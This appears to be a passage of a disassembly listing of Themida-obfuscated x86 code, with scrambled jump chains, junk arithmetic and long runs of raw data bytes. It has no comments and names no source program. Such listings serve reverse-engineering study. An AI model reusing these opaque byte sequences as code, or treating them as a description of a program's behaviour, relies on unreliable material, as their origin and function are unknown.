		push	ecx
		jmp	loc_554DB3
; ---------------------------------------------------------------------------
		dd 8004EBC0h, 0EB8066F3h, 286D2CE6h, 0E96D04D8h, 0AAEFh
		dd 0A2E9D8F6h, 870000FAh, 0E9D1F7CBh, 4AEFh
; ---------------------------------------------------------------------------

loc_5559F4:				; CODE XREF: Themida_:005665BBj
		pop	edx
		or	edx, 4F107121h
		dec	edx
		xor	edx, 163C5C33h
		jmp	loc_56792B
; ---------------------------------------------------------------------------
		db 56h
		dd 0DB29B8BEh, 0F8E6817Ah, 0C128172Eh, 0CE8108E6h, 44216B22h
		dd 7EAC681h, 2FE91883h
		db 0E2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_555A27:				; CODE XREF: Themida_:005566C6j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		shr	ah, 6
		push	ecx
		mov	cl, 0C8h
		dec	cl
		sub	cl, 2
		shl	cl, 4
		push	ecx
		jmp	loc_553981
; ---------------------------------------------------------------------------

loc_555A48:				; CODE XREF: Themida_:0055D002j
		sub	eax, esi
		pop	esi
		jmp	loc_55DE58
; ---------------------------------------------------------------------------
		dd 4C38359h, 0E9241C87h, 0FFFFE4BDh
; ---------------------------------------------------------------------------

loc_555A5C:				; CODE XREF: Themida_:00563761j
		mov	eax, 4
		jmp	loc_55865A
; ---------------------------------------------------------------------------
		dw 0FDBAh
		dd 815E4D79h, 0CF3C1AF2h, 53B85076h, 103B81Ch, 0D32158C2h
		dd 8124148Bh, 4C4h, 24EB8100h, 0E9040040h, 0FFFFE5A3h
		dd 0D348E954h, 0F2010000h, 0E92434FFh, 0FFFFD1FFh, 4C781h
		dd 3C870000h, 0CDDCE924h, 0C6810000h, 4, 168068h, 24048900h
		dd 4B8h, 15A5E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_555AC6:				; CODE XREF: Themida_:00557C4Bj
		mov	dh, 68h
		add	cl, dh
		pop	dx
		xor	cl, 0FBh
		push	ecx
		mov	cl, 0EBh
		shr	cl, 4
		shr	cl, 6
		sub	cl, 88h
		jmp	loc_563133
; ---------------------------------------------------------------------------
		dd 0AAC68159h, 8B52FB1Fh, 0E955243Ch, 0BFA9h, 4C481h, 72350000h
		dd 895BD606h, 34FF58C2h, 89535924h, 4BA52E3h, 51000000h
		dd 8AB7E9h, 54BE5600h, 31649108h, 0E3C15EF3h, 2FC38102h
		dd 13BCE92h, 0AA82E9DEh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_555B2A:				; CODE XREF: Themida_:0055DA67j
		pop	ebx
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_55403E
; ---------------------------------------------------------------------------
		dd 8067F780h, 0FA28A2EFh, 0B4B5515Bh, 59EA00h, 0DF8AE9CAh
		dd 0C7810000h, 1, 21AFCF81h, 0D7F77B56h, 720E947h, 0DEF70000h
		dd 0EABD5552h, 53735E1Dh, 7A220ABBh, 2E3C121h, 4E59CB81h
		dd 0CB81596Ah, 6FD725A9h, 40AF381h, 7E960A7h, 810000ACh
		dd 177BABE9h, 7E9C174h,	5507E9C1h, 0EA79C9BDh, 3EDC125h
		dd 0C583DDF7h, 0E9504D01h, 0DE9Dh
; ---------------------------------------------------------------------------

loc_555BB0:				; CODE XREF: Themida_:00556FEFj
		add	dword ptr [esp], 21F3556h
		jmp	loc_554619
; ---------------------------------------------------------------------------
		dd 0FFE90158h, 2C8B2434h, 0A0CE924h
		db 1, 0
; ---------------------------------------------------------------------------

loc_555BCA:				; CODE XREF: Themida_:005627B2j
		sub	edi, 801A5846h
		mov	ebp, edi
		pop	edi
		jmp	loc_56069A
; ---------------------------------------------------------------------------
		dd 0E924248Bh, 325h
; ---------------------------------------------------------------------------

loc_555BE0:				; CODE XREF: Themida_:00557005j
		add	eax, 0DC1F71C3h
		push	esi
		mov	esi, eax
		mov	ecx, esi
		pop	esi
		pop	eax
		push	ebx
		mov	ebx, 5907268Fh
		or	ebx, 26C85812h
		shr	ebx, 2
		not	ebx
		not	ebx
		not	ebx
		xor	ebx, 0E2392D4Ah
		sub	ecx, ebx
		jmp	loc_55BF31
; ---------------------------------------------------------------------------
aRs_1		db 'Ré͵',0
		align 4

loc_555C14:				; CODE XREF: Themida_:0055711Ej
		mov	[esp], edx
		push	esp
		pop	edx
		push	6A21h
		jmp	loc_55A9E0
; ---------------------------------------------------------------------------
aXs8		db 'Xé8Î',0
		dd 0E6815E00h, 33FD40A5h, 7EACEE81h, 0DEF741CAh, 3E28EE81h
		dd 0F0894049h, 5FD6E9h
		db 0
; ---------------------------------------------------------------------------

loc_555C45:				; CODE XREF: Themida_:0055DC16j
		neg	ebp
		xor	ebp, 1FD7979h
		xor	ebp, 8604C6E6h
		add	eax, ebp
		pop	ebp
		jmp	loc_55B980
; ---------------------------------------------------------------------------
		db 66h
		dd 2454F650h, 0F6586601h, 0E5068D4h, 0C890000h,	0E9B6B124h
		dd 0A04Bh, 5928CF81h, 0EF817460h, 716699Eh, 8A5CF81h, 6EE912AEh
		dd 0BE000052h, 5BFC22A6h, 4607E6C1h, 2BEC681h, 0C281F9E9h
		dd 1AD27009h, 0EA81F201h, 1AD27009h, 5AD3295Eh,	3FC4C381h
		dd 815A5379h, 4C3h, 241C8700h, 0DC2E9h
		db 0
; ---------------------------------------------------------------------------

loc_555CC1:				; CODE XREF: Themida_:0055AC0Aj
		mov	ecx, 4
		jmp	loc_565F2C
; ---------------------------------------------------------------------------
		db 51h
		dd 0C181E189h, 4, 0E625E9h, 0E0895000h,	7E2E68h, 24148900h
		dd 957806BAh, 49CA816Dh, 0E9616728h, 0F540h, 4BDh, 9CE2E900h
		dd 1C890000h, 80A6B324h, 0DA885FF3h, 0DB5E95Bh,	5F540001h
		dd 4C781h, 0C7830000h, 0DD27E904h, 5DBD0000h, 0F77A020Dh
		dd 8CBF57DDh, 1793C2Bh,	243C8BFDh, 4C481h, 0BE90000h
		db 19h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_555D3B:				; CODE XREF: Themida_:00560BC0j
		mov	ecx, 4052305Bh
		add	dword ptr [esp+8], 3A4C7FA3h
		jmp	loc_558312
; ---------------------------------------------------------------------------
		db 5Ch,	54h, 8Fh
		dd 4812404h, 424h, 0AA22E900h, 0B0500000h, 0E5C1804Ah
		dd 0E980C128h, 0C18058E5h, 0BBB652FFh, 807CEE80h, 0EEC0A1CEh
		dd 155E904h, 148B0001h,	38C5E924h, 0DD680000h, 8900004Dh
		dd 34E9240Ch, 89FFFFE0h, 0E389241Ch, 4C381h, 89560000h
		dd 99168E6h, 4890000h, 2A0EE924h, 0E95D0000h, 256h
; ---------------------------------------------------------------------------

loc_555DB4:				; CODE XREF: Themida_:00553C98j
		or	eax, eax
		jz	loc_56435E
		push	dword ptr [edi+28h]
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 44801022h
		add	dword ptr [esp+4], 0D694C98h
		sub	[esp+4], ebp
		jmp	loc_567BD8
; ---------------------------------------------------------------------------

loc_555DDE:				; CODE XREF: Themida_:005581B7j
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	edx
		jmp	loc_5574C6
; ---------------------------------------------------------------------------

loc_555DFA:				; CODE XREF: Themida_:00560A41j
		xor	edx, ecx
		xor	ecx, edx
		xor	edx, ecx
		not	ecx
		jmp	loc_55C74B
; ---------------------------------------------------------------------------

loc_555E07:				; CODE XREF: Themida_:00567242j
		dec	ebp
		add	ebp, 126A236Bh
		shr	ebp, 3
		dec	ebp
		shr	ebp, 2
		jmp	loc_5550C1
; ---------------------------------------------------------------------------

loc_555E1A:				; CODE XREF: Themida_:0055B2A5j
		shr	edi, 5
		and	edi, 17CA2108h
		neg	edi
		push	edx
		jmp	loc_55C7F7
; ---------------------------------------------------------------------------
		db 5Eh
		dd 875EF001h, 0CEE92404h, 5D00002Eh, 81243C8Bh,	4C4h, 74FF5100h
		dd 8F590424h, 248B2404h, 89666424h, 0C9A8E902h,	3A68FFFFh
		dd 8900002Ah, 0B850240Ch, 44801E27h, 0B63CE9h, 48B6600h
		dd 0EC835224h, 24148904h, 0E9505A54h, 0C102h
; ---------------------------------------------------------------------------

loc_555E7C:				; CODE XREF: Themida_:00556201j
		add	ecx, ebx
		pop	ebx
		jmp	loc_553FDA
; ---------------------------------------------------------------------------
		dd 24048F5Eh, 6824248Bh, 33AFh,	0E9241489h, 0D7D2h
; ---------------------------------------------------------------------------

loc_555E98:				; CODE XREF: Themida_:005574C8j
		mov	eax, esp
		jmp	loc_55E0FB
; ---------------------------------------------------------------------------
		db 8Fh
		dd 248B2404h, 684DE924h, 295E0000h, 6F44E9DEh, 0F3810000h
		dd 49236A1Eh, 0F75BD889h, 234205D0h, 9E2D74DDh,	3577CE0Eh
		dd 6825FD35h, 0D611E9h
		db 0
; ---------------------------------------------------------------------------

loc_555ED1:				; CODE XREF: Themida_:0055CEDDj
		mov	ecx, 52631202h
		or	ecx, 7823006Ch
		jmp	loc_55DA50
; ---------------------------------------------------------------------------
aBsyy		db 'éyYÄ',0
		db 0FFh
a4Sxr		db '4$é•',0
		dw 0BB00h
		dd 5A551683h, 0C15BDE89h, 0BF5704E6h, 0
		dd 0FFF6AFE9h, 0C8B66FFh, 4B186824h, 3C890000h,	3C8B5424h
		dd 4C48324h, 3BAAE953h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_555F1E:				; CODE XREF: Themida_:0055F83Dj
		shr	eax, 5
		add	eax, 3F9A35F3h
		jmp	loc_553628
; ---------------------------------------------------------------------------
		db 66h
		dd 48F665Bh, 66536624h,	662414F7h, 0E953665Bh, 11B7h, 476468h
		dd 240C8900h, 0FFEABEE9h, 0AAB68FFh, 2C890000h,	4E9B6824h
		dd 34FF3763h, 0D02BE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_555F62:				; CODE XREF: Themida_:00565AD2j
		push	edx
		jmp	loc_55B096
; ---------------------------------------------------------------------------
		dd 4BEh, 5EF70100h, 4C781h, 3C870000h, 0C8B5C24h, 8B545624h
		dd 0C4832434h, 4C68104h, 57000000h, 0E685255h, 5A64754Eh
		dd 54A9E942h, 0CF810000h, 24132749h, 0E9505155h, 0E08Bh
; ---------------------------------------------------------------------------

loc_555FA8:				; CODE XREF: Themida_:00558C66j
		xchg	edx, [esp]
		pop	esp
		pop	ecx

loc_555FAD:				; CODE XREF: Themida_:loc_55F63Fj
		push	6093h
		mov	[esp], ebx
		sub	dword ptr [esp], 83019A7h
		push	dword ptr [esp]
		pop	eax
		jmp	loc_55F4AF
; ---------------------------------------------------------------------------

loc_555FC5:				; CODE XREF: Themida_:0056186Cj
		shr	dl, 2
		add	dl, 51h
		add	al, 50h
		sub	al, dl
		sub	al, 50h
		pop	edx
		mov	cl, al
		mov	eax, [esp]
		add	esp, 4
		shl	cl, 2
		xor	cl, 8Dh
		add	cl, 8Dh
		jmp	loc_562541
; ---------------------------------------------------------------------------

loc_555FE8:				; CODE XREF: Themida_:005665D1j
		xor	ecx, edx
		xor	edx, ecx
		sub	edx, 1A670065h
		push	edi
		jmp	loc_560892
; ---------------------------------------------------------------------------
		dd 59CE015Ah, 533FF681h, 0F1291F39h, 0C4EE95Eh,	63680001h
		dd 89000026h, 0BB532414h, 6A2BB81Ch, 315BDA89h,	52555AD1h
		dd 0D83C7168h, 14E95A37h, 8900007Fh, 0D6F758C6h, 3733E681h
		dd 0E6814811h, 35F421D6h, 3F70E681h, 0C68126DBh, 6CA81476h
		dd 4EC81h, 0A8E90000h
		db 9Eh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_556053:				; CODE XREF: Themida_:00554697j
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	edx
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_5677F1
; ---------------------------------------------------------------------------
a1ASs?		db '¸1',27h,'a^é™?',0
		dd 7EDC100h, 3367C581h,	0E989735Ah, 8BCB295Dh, 0D5E9240Ch
		db 0E3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55608B:				; CODE XREF: Themida_:005610E2j
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_566453
; ---------------------------------------------------------------------------

loc_55609C:				; CODE XREF: Themida_:00561CDAj
		xor	edx, [esp]
		jmp	loc_55CC3D
; ---------------------------------------------------------------------------
		dd 240C8B66h, 348B5456h, 14E95124h, 0F7000052h,	7EAC1DAh
		dd 11581E9h, 240C8900h,	471003B9h, 0C9814141h, 1B5574F1h
		dd 6852D1F7h, 3B24210Dh, 5AD1215Ah, 757AC981h, 0BA521CD8h
		dd 181FB76Fh, 0DE9D101h, 66FFFFFFh, 56240C8Bh, 0B4E9E689h
		dd 66FFFFEEh, 8124148Bh, 2C4h, 5E62E900h, 0BA520000h, 51902E30h
		dd 2DBCC281h, 0BE560DBFh, 1853609Eh, 0C881E9h
		db 0
; ---------------------------------------------------------------------------

loc_55611D:				; CODE XREF: Themida_:0055F6E1j
		mov	[esp], ecx
		mov	cl, 7
		shr	cl, 3
		jmp	loc_557C46
; ---------------------------------------------------------------------------
		dw 0EA81h
		dd 268E527Ch, 0C281FA29h, 268E527Ch, 5AD1015Fh,	0E902C183h
		dd 0D486h, 74FF515Ah, 8F590424h, 815C2404h, 4C7h, 243C3300h
		dd 33243C31h, 248B243Ch, 1FD96824h, 2C890000h, 565D5424h
		dd 4BEh, 5EF50100h, 8704C583h, 855C242Ch, 7BE99CC8h, 0FFFFFFC6h
		dd 0E95D2434h, 0FFFFF1AEh, 820F180h, 0B55159CCh, 2ED8094h
		dd 0FE39CD80h, 77F580CDh, 8059EC30h, 0C380E3EBh, 0E9E30080h
		dd 0EA62h, 4C481h, 93E90000h
		db 0A7h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_5561BB:				; CODE XREF: Themida_:0055CA37j
		push	eax
		push	3358h
		mov	[esp], ebx
		mov	ebx, 5E095B61h
		push	ebx
		sub	dword ptr [esp], 737D704Bh
		pop	eax
		add	eax, 737D704Bh
		pop	ebx
		add	dword ptr [esp+4], 659A439Ah
		sub	dword ptr [esp+4], 75C00A89h
		jmp	loc_55E4D7
; ---------------------------------------------------------------------------

loc_5561ED:				; CODE XREF: Themida_:0056407Fj
		sub	ecx, 28204A65h
		add	ecx, eax
		push	ebx
		mov	ebx, 2D732ED7h
		add	ebx, 0FAAD1B8Eh
		jmp	loc_555E7C
; ---------------------------------------------------------------------------

loc_556206:				; CODE XREF: Themida_:00560FCEj
		shl	bl, 6
		add	bl, 68h
		dec	bl
		xor	bl, 49h
		jmp	loc_561390
; ---------------------------------------------------------------------------
		dw 0E135h
		dd 895501E6h, 0F32958C6h, 0E924348Bh, 0BCD7h, 0B6241489h
		dd 1EE80CAh, 0FEC8F680h, 0FDF680CEh, 285AF488h,	0C30058E3h
		dd 83FDC380h, 0C8904ECh, 283FB524h, 526659EBh, 0F2E922B2h
		dd 3000002Bh, 4C22E9CCh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55625E:				; CODE XREF: Themida_:00562F82j
		mov	eax, 1EEB4F05h
		mov	edi, 0E114B0FFh
		add	edi, eax
		jmp	loc_56541E
; ---------------------------------------------------------------------------
		db 81h
		dd 9E0D56F5h, 0E95E55CDh, 0D509h, 28C5B551h, 28B6E9E8h
		dd 7D680000h, 0E900001Eh, 28B6h
; ---------------------------------------------------------------------------

loc_556290:				; CODE XREF: Themida_:0056330Cj
		sub	edx, esi
		pop	esi
		push	ecx
		mov	ecx, 358E601Bh
		jmp	loc_55F12D
; ---------------------------------------------------------------------------

loc_55629E:				; CODE XREF: Themida_:0055404Aj
		shr	ebx, 4
		push	0
		sub	[esp], ebx
		jmp	loc_552B77
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 39C425Ah, 0EA81EA01h, 39C425Ah, 2C2835Dh, 799D68h, 24148900h
		dd 107E2E9h, 2434FF00h,	0C704E9h, 243C8700h, 242C895Ch
		dd 0E6B85057h, 4835505Dh, 0DE68690Dh, 49D92D12h, 0C789D989h
		dd 8BFD8958h, 0C483243Ch, 0EE28E904h, 0EB81FFFFh, 788D5B8Bh
		dd 8124048Bh, 4C4h, 2ABF5700h, 8134E033h, 0E03328F7h, 0E9FB0134h
		dd 0FFFFFFADh
; ---------------------------------------------------------------------------

loc_556320:				; CODE XREF: Themida_:0055C07Ej
		shr	ebx, 1
		add	ebx, 0EA73F97Ch
		mov	ecx, ebx
		pop	ebx
		and	eax, ecx
		jmp	loc_560D52
; ---------------------------------------------------------------------------
aQs		db 'Qé+Ë',0
		align 4
		dd 0BA2D54BAh, 1A7E944h, 4810001h, 424h, 2434FF00h, 0E289525Fh
		dd 4BD55h, 0C2810000h, 6DD22BFEh, 0B951EA01h, 626679CBh
		dd 8F18149h, 0F7428A78h, 69F181D1h, 0F76E7248h,	0AEE981D9h
		dd 29E0CC1Dh, 515D59CAh, 4B9h, 9EA8100h, 1357112h, 9C281CAh
		dd 59357112h, 31241433h, 14332414h, 0C7815C24h,	4, 115D6E9h
		db 0
; ---------------------------------------------------------------------------

loc_5563A9:				; CODE XREF: Themida_:0055C11Cj
		mov	eax, [esp]
		add	esp, 4
		sub	eax, 698E43CCh
		sub	eax, ecx
		push	ecx
		jmp	loc_55EBC1
; ---------------------------------------------------------------------------
		dd 464C681h, 0F7290C30h, 8324348Bh, 815D04C4h, 4C7h, 243C3300h
		dd 32DBE9h, 2DD02900h, 24C72EFEh, 0BA135F2Dh, 4335A7Bh
		dd 24043124h, 5C240433h, 50243489h, 0FFF2CEE9h,	0E95250FFh
		dd 51D1h, 0BB241C89h, 4, 0DBDBE957h, 9B68FFFFh,	89000053h
		dd 0B951242Ch, 390719F6h, 4B19BA52h, 9BE903A2h
		db 3Fh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_556427:				; CODE XREF: Themida_:00563DEAj
		pop	ebx
		add	esp, 4
		jmp	loc_55F842
; ---------------------------------------------------------------------------

loc_556433:				; CODE XREF: Themida_:0055D63Bj
		pop	edi
		jmp	loc_558266
; ---------------------------------------------------------------------------
		db 0FFh, 4, 24h
		dd 0FAE9535Eh, 8FFFFFC8h, 4832404h, 48F0424h, 4BF5724h
		dd 1000000h, 8B04247Ch,	0E3E9243Ch, 0B90000E0h,	6F64759Ch
		dd 0C8BCE01h, 4C48124h,	0E9000000h, 10322h, 0F1BF5755h
		dd 0F7367200h, 7D2DE9D7h, 0C8B0000h, 0E1895124h, 4C181h
		dd 0C1810000h, 4, 0E9240C87h, 0E7C3h, 8704C483h, 1EE9240Ch
		dd 81000003h, 2B04246Ch, 5704AE0Dh, 2F3ACBBFh, 247C0100h
		dd 5A5F5F08h, 4C281h, 0C2810000h, 2, 31241433h,	14332414h
		dd 24248B24h, 9C240428h, 0FFC321E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5564DD:				; CODE XREF: Themida_:0055CFC9j
		add	ebp, ebx
		add	ebp, 7DEF25CCh
		jmp	loc_561611
; ---------------------------------------------------------------------------

loc_5564EA:				; CODE XREF: Themida_:0055C4E8j
		mov	ebx, [esp]
		add	esp, 4
		add	ebx, 4
		push	esi
		mov	esi, 4
		jmp	loc_560C23
; ---------------------------------------------------------------------------

loc_556501:				; CODE XREF: Themida_:0056584Fj
		push	esi
		mov	esi, 752543A6h
		push	ecx
		jmp	loc_563DB3
; ---------------------------------------------------------------------------
aI4S		db '‰4$éÒ',0
		align 4
		dd 5EF20100h, 15AD629h,	11C681CEh, 5949130Ah, 68h, 2434FF00h
		dd 5B2434FFh, 732968h, 0D6FCE900h, 0C681FFFFh, 4, 4C681h
		dd 34870000h, 0C3815C24h, 4, 0FFD760E9h, 0C2A4E9FFh, 0E981FFFFh
		dd 0E8C569FCh, 0D6A0E9h, 0BB53AD00h, 6A936C32h,	0E95BD829h
		dd 0AFA3h, 4C481h, 0E9800000h, 80E100FAh, 0F6E9FAC1h, 8900001Ah
		dd 236855E2h, 5D182A70h, 0D2AFE9h, 0D2BB5300h, 815A3852h
		dd 6044F5EBh, 0B4CB8148h, 0E912C974h, 793Dh, 772000BAh
		dd 0F7EAD17Ah, 0D1CA81DAh, 8131DD57h, 0BA69D7EAh, 0FF48E996h
		dd 54510000h, 3E85E9h, 0E5815B00h, 25A30C2Dh, 0CB17ED81h
		dd 0E5C19858h, 6D3E6806h, 6DE90000h, 8300000Fh,	248904ECh
		dd 24048124h, 4, 4C6815Eh, 0E9000000h, 1266h
; ---------------------------------------------------------------------------

loc_556600:				; CODE XREF: Themida_:00554DC9j
		pop	eax
		dec	ebx
		shl	ebx, 6
		push	edi
		mov	edi, 494C43FDh
		neg	edi
		shl	edi, 4
		sub	edi, 7816910h
		sub	edi, 6C62E89Ch
		xor	ebx, edi
		pop	edi
		mov	edx, ebx
		jmp	loc_563364
; ---------------------------------------------------------------------------

loc_556626:				; CODE XREF: Themida_:00561C3Bj
		push	esp
		pop	edi
		add	edi, 4
		sub	edi, 4
		jmp	loc_55B3A4
; ---------------------------------------------------------------------------

loc_556639:				; CODE XREF: Themida_:005599CEj
		add	esp, 4
		push	eax
		push	edx
		jmp	loc_554C0C
; ---------------------------------------------------------------------------
		db 21h
		dd 0EFC15BDFh, 0A4B95103h, 0E9057B29h, 3D7h
; ---------------------------------------------------------------------------

loc_556654:				; CODE XREF: Themida_:0055D86Fj
		add	esp, 4
		xor	ebp, 627B43AEh
		mov	ebx, ebp
		pop	ebp
		jmp	loc_55EEC4
; ---------------------------------------------------------------------------
		dd 0ABD9C581h, 0EE31FF29h, 0BA525Dh, 0E9000000h, 0E1Bh
		dd 2474FF53h, 48F5B04h,	79E95C24h
		db 17h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55668B:				; CODE XREF: Themida_:0055C638j
		push	eax
		mov	eax, 76825CECh
		shr	eax, 7
		xor	eax, 78F47A80h
		add	eax, 87E681CBh
		jmp	loc_55E04F
; ---------------------------------------------------------------------------
		db 59h
		dd 60BF5756h, 0E94A5739h, 0F509h, 0C3FEDD30h, 88DC8850h
		dd 5B9BE9EBh, 0FC200000h
		db 8Bh,	1Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_555A27
; ---------------------------------------------------------------------------
aS_8		db '[é~Ë',0
		dd 0C8B6600h, 34176824h, 1E90000h
		db 0D0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5566DF:				; CODE XREF: Themida_:00556B4Cj
		shr	al, 2
		or	al, 43h
		jmp	loc_560D8A
; ---------------------------------------------------------------------------
		db 57h,	68h, 0A9h
		dd 5F448B12h, 7806E9h, 5DEE8900h, 5E14C681h, 0EE297CA3h
		dd 5E14EE81h, 0E95D7CA3h, 0AF62h
; ---------------------------------------------------------------------------

loc_55670C:				; CODE XREF: Themida_:0055CF48j
		add	ebp, edi
		pop	edi
		xchg	ebp, [esp]
		pop	esp
		push	edx
		push	ebx
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], edx
		push	eax
		mov	al, 57h
		jmp	loc_55DA23
; ---------------------------------------------------------------------------

loc_556731:				; CODE XREF: Themida_:005638EBj
		not	ebp
		jmp	loc_5575F1
; ---------------------------------------------------------------------------
		dd 55240C8Bh, 0C5815D54h, 4, 4BB53h, 76E90000h,	5A0000D3h
		dd 0FFEE0FE9h, 535541FFh, 8B1DDBBBh, 5BDD8926h,	0E95DE909h
		dd 0BA82h
; ---------------------------------------------------------------------------

loc_556768:				; CODE XREF: Themida_:00563442j
		mov	edx, 7C2F2682h
		jmp	loc_567A59
; ---------------------------------------------------------------------------
		dw 6CBDh
		dd 0E954E35Eh, 0FA85h, 240C8B66h, 5E08950h, 4, 42Dh, 24048700h
		dd 0D4F4E9h, 54C28100h,	175AE12h, 0F2BD55C2h, 0C147231Ch
		dd 0E5D102E5h, 1E43E9h,	3FBA5200h, 0C10D1A66h, 0ECE902EAh
		dd 2D000111h, 6966990h,	0A5CCE9h, 24248B00h, 0E9E9F766h
		dd 0A61h, 24048B66h, 56B368h, 243C8900h, 129C68h, 0D0CFE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5567E6:				; CODE XREF: Themida_:00558531j
		push	542Ah
		jmp	loc_55BB1F
; ---------------------------------------------------------------------------
aIS6		db '‰,$é6²',0
		align 4
		dd 60AB951h, 0C1812587h, 348E5DDFh, 0BDF18149h,	8117630Dh
		dd 0FFFFFFE9h, 727DE9FFh, 248B0000h, 240C8B24h,	163068h
		dd 243C8900h, 0AB1CE9h,	5B565A00h, 8124348Bh, 4C4h, 4C89E900h
		dd 0F7810000h, 17430170h, 10C5EF81h, 0ABE9E832h, 0AD000022h
		dd 0FFEF19E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_556851:				; CODE XREF: Themida_:0055C895j
		mov	eax, [esp]
		push	eax
		mov	eax, esp
		jmp	loc_5631A9
; ---------------------------------------------------------------------------

loc_55685C:				; CODE XREF: Themida_:00555685j
		xor	esi, [esp]
		xor	[esp], esi
		push	dword ptr [esp]
		jmp	loc_55D98E
; ---------------------------------------------------------------------------
		dw 0F801h
a_h?		db '_h',9,'?',0
		align 2
aSL_0		db 'éÙ«',0
		dw 0B100h
		dd 66C8001Bh, 0E9C20059h, 8BACh, 6FBB53h, 0E3C1061Bh, 0C362E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_556892:				; CODE XREF: Themida_:0055FAC1j
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edi
		push	edx
		mov	edx, 794E5158h
		and	edx, 5E114939h
		shr	edx, 6
		not	edx
		not	edx
		jmp	loc_556EB8
; ---------------------------------------------------------------------------
		db 1
		dd 24348BF3h, 4C481h, 0F3810000h, 0C06EB630h, 34FFD831h
		dd 0C8685B24h, 89000063h, 0E2892414h, 4C281h, 0E9560000h
		dd 0FFFFD4ADh
; ---------------------------------------------------------------------------

loc_5568E8:				; CODE XREF: Themida_:0055BBDEj
		mov	ah, bh
		mov	ebx, [esp]
		add	esp, 4
		shr	ah, 8
		xor	ah, 13h
		sub	bl, ah
		pop	eax
		movzx	eax, al
		mov	dx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		jmp	loc_55FB33
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 0Ah
		dd 815B20CAh, 410ABEE9h, 81D9016Ah, 410ABEC1h, 9EC9E96Ah
		dd 515C0000h, 0F71CF3B9h, 0BE56414Eh, 70D2794Dh, 835EF129h
		dd 0C18101C1h, 25681BEBh, 0BF8FE981h, 0CD01038Ch, 83240C8Bh
		dd 895204C4h, 4C281E2h,	56000000h, 4BEh, 0E9F22900h, 0F471h
		dd 3C7FEB81h, 0C4E9F089h, 89FFFFC7h, 3928E9E0h,	0EF830000h
		dd 243C8704h, 2424895Ch, 71BF5750h, 0C112A456h,	0CF8104E7h
		dd 11546F38h, 0D8EF814Fh, 0B8FAC062h, 0BF6AF3A5h, 0B6F3E9h
		dd 240C8900h, 0B8F8E9h,	81E58900h, 4C5h, 4ED8100h, 0E9000000h
		dd 594Fh, 34FFF701h, 0C4835E24h, 4EC8104h, 0E9000000h
		dd 3A8Ah, 5C240487h, 815B5453h,	4C3h, 64C4E900h, 0FC680000h
		dd 0E900003Eh, 10069h, 4B2374B9h, 24448101h, 0E0401408h
		dd 244C017Fh, 14AE908h,	0C0830001h, 24048704h, 0E924248Bh
		dd 6BF1h, 0BDE4E95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_556A1A:				; CODE XREF: Themida_:0056110Dj
		xor	[esp], esi
		jmp	loc_55D955
; ---------------------------------------------------------------------------

loc_556A22:				; CODE XREF: Themida_:00566C53j
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_55E6C5
; ---------------------------------------------------------------------------
		db 0C1h
		dd 7E904E1h, 89000082h,	0E9572404h, 0BC0h, 555BDF01h, 4BDh
		dd 59C78100h, 121610Bh,	59EF81EFh, 0FF21610Bh, 2C8B2434h
		dd 4C48124h, 81000000h,	4C4h, 243C8700h, 68C80F5Ch, 3D24h
		dd 0E9240489h, 0FFFFBD86h
; ---------------------------------------------------------------------------

loc_556A78:				; CODE XREF: Themida_:0055D25Ej
		add	esp, 4
		mov	ebp, [esp]
		jmp	loc_561AEC
; ---------------------------------------------------------------------------
		db 5Ch
		dd 840FC909h, 0FFFFDD48h, 8904EC83h, 0B9512424h, 40A201DEh
		dd 0F757F987h, 3C8B2414h, 4C48324h, 337F68h, 240C8900h
		dd 6E6768h, 243C8900h, 83240C8Bh, 3C8B04C4h, 4C48324h
		dd 0FFFC90E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_556AC5:				; CODE XREF: Themida_:0055DFA4j
		mov	bl, 24h
		jmp	loc_55435D
; ---------------------------------------------------------------------------

loc_556ACC:				; CODE XREF: Themida_:00553B74j
		mov	[esp], edx
		mov	edx, 4
		push	edx
		jmp	loc_555807
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0E9512404h, 0F6C0h, 0D977BA52h, 0D731DDC0h, 35C5815Ah
		dd 29640844h, 35ED81FDh, 8B640844h, 0C483243Ch,	92BA5204h
		dd 4200996Eh, 7586E9h
		db 0
; ---------------------------------------------------------------------------

loc_556B0D:				; CODE XREF: Themida_:00558358j
		mov	eax, [esp]
		jmp	loc_5586A5
; ---------------------------------------------------------------------------

loc_556B15:				; CODE XREF: Themida_:005543B9j
		pop	ecx
		jmp	loc_560BDC
; ---------------------------------------------------------------------------
		db 81h
		dd 0CC7141C5h, 99B3E91Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------

